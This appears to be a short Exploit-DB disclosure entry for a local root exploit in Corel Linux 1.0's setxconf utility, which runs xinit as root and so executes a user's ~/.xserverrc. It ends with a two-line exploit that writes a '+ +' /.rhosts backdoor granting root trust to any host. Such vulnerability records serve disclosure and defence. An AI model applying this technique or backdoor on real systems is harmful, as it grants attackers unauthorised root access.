Corel Linux OS 1.0 - 'setxconf' Local Privilege Escalation

EDB-ID:

19765


Author:

suid

Type:

local


Platform:

Linux

Date:

2000-02-24


source: https://www.securityfocus.com/bid/1008/info

A vulnerability exists in the setxconf utility, as shipped with Corel Linux 1.0. The -T option to setxconf will run xinit, which euid root. xinit, when executed, will invoke the contents on ~/.xserverrc. A malicious user could therefore execute commands as root.

cat > ~/.xserverrc
echo "+ +" > /.rhosts